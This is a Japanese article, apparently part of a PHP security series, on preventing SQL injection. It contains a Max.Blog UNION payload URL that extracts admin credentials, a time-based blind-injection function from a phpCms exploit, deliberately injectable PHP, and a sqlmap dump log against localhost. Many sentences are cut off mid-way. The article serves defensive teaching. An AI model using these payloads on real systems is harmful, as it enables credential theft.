SQLインジェクション対策については既に解説済みですが、
SQLインジェクション脆弱性が放置されている背景には、
SQLインジェクション対策
本連載中では既に解説済み
SQLインジェクション対策には次のような注意事項があります。
- 文字エンコーディングの取り扱いを厳格に行う
(第19回~22回を参照) - クエリを生成する場合、
パラメータはすべて文字列として扱いエスケープする - プリペアードクエリを利用し、
変数はすべてパラメータとして渡す - テーブル、
フィールド、 SQLの語句等をクエリ作成に利用する場合、 安全であることを確認する
SQLクエリのパラメータは、
プリペアードクエリもSQLインジェクション対策に利用できますが、
例えば、
http://example.com/query.php?q=syz&order=DESC
のような入力で
$sql = "SELECT * FROM data WHERE type='".pg_escape_string($conn, $_GET['q'])."' ORDER BY ".$_GET['order'];
pg_query($conn, $sql);
や
$sql = 'SELECT * FROM data WHERE type=$1 ORDER BY '.$_GET['order'];
pg_prepare($conn, 'foo', $sql);
pg_execute($conn, 'foo', array($_GET['q']));
としてしまうとSQLインジェクションが可能になります。テーブル名やフィールド名、
if (!in_array($_GET['order'], array('DESC','ASC'))) {
trigger_error('Invalid request', E_USER_ERROR);
eixt; // 確実にスクリプトの実行を停止
}
普通このようなバリデーション処理は、
SQLインジェクション対策はこれだけです。入力バリデーションを確実に行い、
XPathインジェクション
データベースシステムがXMLサポートを追加したことにより、
XPathを利用したクエリはプリペアードクエリをサポートするデータベースシステムであっても、
XPath関連する問題として、
実際のSQLインジェクション脆弱性
2009年1月にどれくらいのSQLインジェクション脆弱性がmilw0rm.
- Max.
Blog 0.6 SQLインジェクション - phpCms 1.
x ブラインドSQLインジェクション
milw0rm.
Max.Blog SQLインジェクション
http://
File affected: show_
post. php This bug allows a guest to view username and password (md5) of a registered user with the specified id (usually 1 for the admin)
http://
www. site. com/ path/ show_ post. php?id=-1'+UNION+ALL+SELECT+1,concat('username: ', username),concat('password: ', password),4,5,6,7+FROM+users+WHERE+id=1%23
攻撃用のURLを見ると、
id=-1'+UNION+ALL+SELECT+1,concat('username: ', username),concat('password: ', password),4,5,6,7+FROM+users+WHERE+id=1%23
投稿したアーティクルIDの後に、
phpCms 1.x ブラインドSQLインジェクション
http://
攻撃用のSQLから文字列のエスケープ処理がないことが分かります。攻撃用コードはブラインドSQLインジェクションを行うコードになっています。
ブラインドSQLインジェクションとはSQL結果の表示が無い場合でも、
function query ($user, $pos, $chr)
{
$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM ".
"admin WHERE username='{$user}'),{$pos},1))={$chr}),BENCHMARK".
"(100000000,CHAR(0)),0) OR '1' = '2";
return $query;
}
このコードがブラインドSQLインジェクションを行う部分です。このコードではBENCHMARKを利用しているのでデータベースがMySQLであることが分かります。1回のリクエストで推測した1文字が当たっているか検出できるようになっています。BENCHMARKにより推測が正しければレスポンスが遅くなることを利用
この攻撃が成功すると指定したユーザのパスワードが表示されます。このアプリケーションは平文のパスワードを保存しています。パスワードを解析する必要もありません。
SQLインジェクション脆弱性が狙われる理由
CSRF、
- SQLインジェクション脆弱性はツールによって検出しやすい
- SQLインジェクション脆弱性はほかの脆弱性より利用価値が高い
脆弱性の検出
無償で利用可能な脆弱性検出ツールは数えきれないほど存在しています。これらのツールは誤検出
SQLインジェクションツール
SQLインジェクション用のフリーのツールも多数存在します。無償で利用できるSQLインジェクション脆弱性検出ツールの一部を紹介します。Acunetix Web Vulnerability Scanner FREE 6. | http:// |
---|---|
Absinthe | http:// |
BobCat | http:// bobcat. |
FJ-Injector Framwork | http:// group_ |
SQLIer | http:// |
SQLbftools | http:// |
SQLibf | http:// |
SQLBrute | http:// |
SQLMap | http:// |
SQID | http:// |
SQL Power Injection Injector | http:// |
SQLNinja | http:// |
SQLiX | http:// SQLiX_ |
以下はHPとMicrosoftが公開しているツールです。
SQLMapを使ってみる
比較的メンテナンス状態が良いSQLMapを使ってみます。SQLMapはPythonで記述されたプログラムです。Pythonが利用可能なコンピュータであれば利用できます。
SQLMapを利用するために以下の、
<?php
$conn = mysql_connect('localhost','root');
mysql_select_db('test', $conn);
$sql = "SELECT * FROM user WHERE name = '".$_GET['name']."' AND pass = '".$_GET['pass']."'";
$result = mysql_query($sql, $conn);
if (!$result) {
die(mysql_error());
}
var_dump(mysql_fetch_assoc($result));
?>
データベースはMySQLを利用し、
mysql> select * from user; +----+------+------+ | id | name | pass | +----+------+------+ | 1 | abc | xyz | +----+------+------+ 1 row in set (0.00 sec)
このPHPスクリプトとデータベースに対してsqlmapコマンド
--dump -T user
オプションはブラインドSQLインジェクションを実行してuserテーブルをダンプするオプションです。--dump-allを利用して、
[yohgaki@dev TEST]$ sqlmap --dump -T user -u "http://localhost/TEST/injectable.php?name=abc&pass=xyz" sqlmap/0.6.4 coded by Bernardo Damele A. G. <[email protected]> and Daniele Bellucci <[email protected]> [*] starting at: 15:15:14 [15:15:14] [INFO] testing connection to the target url [15:15:14] [INFO] testing if the url is stable, wait a few seconds [15:15:15] [INFO] url is stable [15:15:15] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [15:15:15] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [15:15:15] [INFO] testing if GET parameter 'name' is dynamic [15:15:15] [INFO] confirming that GET parameter 'name' is dynamic [15:15:15] [INFO] GET parameter 'name' is dynamic [15:15:15] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis [15:15:15] [INFO] testing unescaped numeric injection on GET parameter 'name' [15:15:15] [INFO] GET parameter 'name' is not unescaped numeric injectable [15:15:15] [INFO] testing single quoted string injection on GET parameter 'name' [15:15:15] [INFO] confirming single quoted string injection on GET parameter 'name' [15:15:15] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis [15:15:15] [INFO] testing if GET parameter 'pass' is dynamic [15:15:15] [INFO] confirming that GET parameter 'pass' is dynamic [15:15:15] [INFO] GET parameter 'pass' is dynamic [15:15:15] [INFO] testing sql injection on GET parameter 'pass' with 0 parenthesis [15:15:15] [INFO] testing unescaped numeric injection on GET parameter 'pass' [15:15:15] [INFO] GET parameter 'pass' is not unescaped numeric injectable [15:15:15] [INFO] testing single quoted string injection on GET parameter 'pass' [15:15:15] [INFO] confirming single quoted string injection on GET parameter 'pass' [15:15:15] [INFO] GET parameter 'pass' is single quoted string injectable with 0 parenthesis [15:15:15] [INPUT] there were multiple injection points, please select the one to use to go ahead: [0] place: GET, parameter: name, type: stringsingle (default) [1] place: GET, parameter: pass, type: stringsingle [q] Quit Choice: 0 [15:15:17] [INFO] testing for parenthesis on injectable parameter [15:15:17] [INFO] the injectable parameter requires 0 parenthesis [15:15:17] [INFO] testing MySQL [15:15:17] [INFO] confirming MySQL [15:15:17] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT 0, 1 [15:15:17] [INFO] retrieved: 3 [15:15:17] [INFO] performed 13 queries in 0 seconds [15:15:17] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.2.9, PHP 5.2.8 back-end DBMS: MySQL >= 5.0.0 [15:15:17] [WARNING] missing database parameter, sqlmap is going to use the current database to dump table 'user' entries [15:15:17] [INFO] fetching current database [15:15:17] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32)) [15:15:17] [INFO] retrieved: test [15:15:17] [INFO] performed 34 queries in 0 seconds [15:15:17] [INFO] fetching columns for table 'user' on database 'test' [15:15:17] [INFO] fetching number of columns for table 'user' on database 'test' [15:15:17] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114) AND table_schema=CHAR(116,101,115,116) [15:15:17] [INFO] retrieved: 3 [15:15:17] [INFO] performed 13 queries in 0 seconds [15:15:17] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114) AND table_schema=CHAR(116,101,115,116) LIMIT 0, 1 [15:15:17] [INFO] retrieved: id [15:15:18] [INFO] performed 20 queries in 0 seconds [15:15:18] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114) AND table_schema=CHAR(116,101,115,116) LIMIT 1, 1 [15:15:18] [INFO] retrieved: name [15:15:18] [INFO] performed 34 queries in 0 seconds [15:15:18] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114) AND table_schema=CHAR(116,101,115,116) LIMIT 2, 1 [15:15:18] [INFO] retrieved: pass [15:15:18] [INFO] performed 34 queries in 0 seconds [15:15:18] [INFO] fetching entries for table 'user' on database 'test' [15:15:18] [INFO] fetching number of entries for table 'user' on database 'test' [15:15:18] [INFO] query: SELECT IFNULL(CAST(COUNT(*) AS CHAR(10000)), CHAR(32)) FROM test.user [15:15:18] [INFO] retrieved: 1 [15:15:18] [INFO] performed 13 queries in 0 seconds [15:15:18] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.user LIMIT 0, 1 [15:15:18] [INFO] retrieved: 1 [15:15:18] [INFO] performed 13 queries in 0 seconds [15:15:18] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.user LIMIT 0, 1 [15:15:18] [INFO] retrieved: abc [15:15:18] [INFO] performed 27 queries in 0 seconds [15:15:18] [INFO] query: SELECT IFNULL(CAST(pass AS CHAR(10000)), CHAR(32)) FROM test.user LIMIT 0, 1 [15:15:18] [INFO] retrieved: xyz [15:15:18] [INFO] performed 27 queries in 0 seconds Database: test Table: user [1 entry] +----+------+------+ | id | name | pass | +----+------+------+ | 1 | abc | xyz | +----+------+------+ [15:15:18] [INFO] Table 'test.user' dumped to CSV file '/home/yohgaki/.sqlmap/output/localhost/dump/test/user.csv' [15:15:18] [INFO] Fetched data logged to text files under '/home/yohgaki/.sqlmap/output/localhost' [*] shutting down at: 15:15:18
次のログからデータベースサーバのフィンガープリンティングを行い、
[15:15:17] [INFO] testing MySQL [15:15:17] [INFO] confirming MySQL
sqlmapはブラインドSQLインジェクションも自動化していることが、
[15:15:17] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114) AND table_schema=CHAR(116,101,115,116) LIMIT 0, 1 [15:15:17] [INFO] retrieved: id [15:15:18] [INFO] performed 20 queries in 0 seconds
このオプションでは接続中のデータベースのuserテーブルの中身だけダンプするようにしています。--dump-allオプションを使用すると、
この例の場合、
Database: test Table: user [1 entry] +----+------+------+ | id | name | pass | +----+------+------+ | 1 | abc | xyz | +----+------+------+
ブラインドSQLインジェクションという言葉を知ってはいても、
SQLインジェクションは利用しやすい
先ほどのsqlmapの例でも分かるように、
ユーザ情報を保存しているテーブル名は推測しやすいですし、
クロスサイトスクリプティングやクロスサイトリクエストフォージェリを実行するには罠となるページが必要ですが、
sqlmapはWAF
ハッシュ化したパスワードは安全か?
Max.
多くの書籍や雑誌等でパスワードのハッシュ化が勧められています。しかし、
特殊な辞書
通常の辞書攻撃や総当たり攻撃でも脆弱なパスワードを解析するのはかなり容易です。このような攻撃を行うツールも存在するので脆弱なパスワードはかなり簡単に解析されてしまいます。
例えば、
パスワードを直接ハッシュ化しただけであれば、
攻撃者にとってパスワードを盗めてしまうSQLインジェクションは非常に価値の高い脆弱性と言えます。
より安全なパスワードの保存
何らかの固定の秘密文字列と一緒にハッシュ化しておくだけで、
$password_hash = sha1('推測できない秘密の文字列'.$_GET['new_password']);
秘密の文字列が分からないとパスワードは解析できません。秘密の文字列も漏洩しても、
注意:本来はsha256以上のハッシュ関数を利用すべきですが、
狙われないための対策
脆弱性を作らないのが一番の対策ですが、
- WebサーバやPHPの設定ファイルでバージョン情報などを送信しない
- OS、
WebサーバやPHPをバージョンアップする - アプリケーションをバージョンアップする
- ソースコードをチェックする
- 簡易WAFを導入する
(リソースが許すなら本格的なWAFの導入でもかまいません) - 専門業者にソースコード監査を依頼する
1. WebサーバやPHPの設定ファイルでバージョン情報などを送信しない
WebサーバやPHPのバージョン情報はHTTPヘッダに記載されていることがあります。
ServerSignature Off
expose_php=off
に設定するべきです。
2. OS、WebサーバやPHPをバージョンアップする
古いWebサーバやPHPを運用しているサイトは攻撃者に狙われるリスクが増加します。管理が行き届かずセキュリティ意識もサイトが狙われるのは当然です。
しかし、
3. アプリケーションをバージョンアップする
オープンソースのWebアプリケーションを利用している場合、
4. ソースコードをチェックする
SQLインジェクション対策は比較的簡単です。ソースコード監査の専門家でなくてもこの記事に記述されている程度の内容であればチェックできる方も多くいるはずです。ソースコードをチェックすることは非常に重要です。
5. 簡易WAFを導入する(リソースが許すなら本格的なWAFの導入でもかまいません)
異常なリクエストを認めないようにすることも重要です。商用のWAF製品は数百万円のコストを覚悟しなければなりませんが、
6. 専門業者にソースコード監査を依頼する
ソースコード監査を最後に挙げていますが、
ソースコードレベルの監査も監査ツールで自動的にチェックするだけのものから、
まとめ
SQLインジェクション脆弱性を確認するために、
最初に書いた通り
余力がある場合やルーチンワークとしてのセキュリティチェックには、
もし、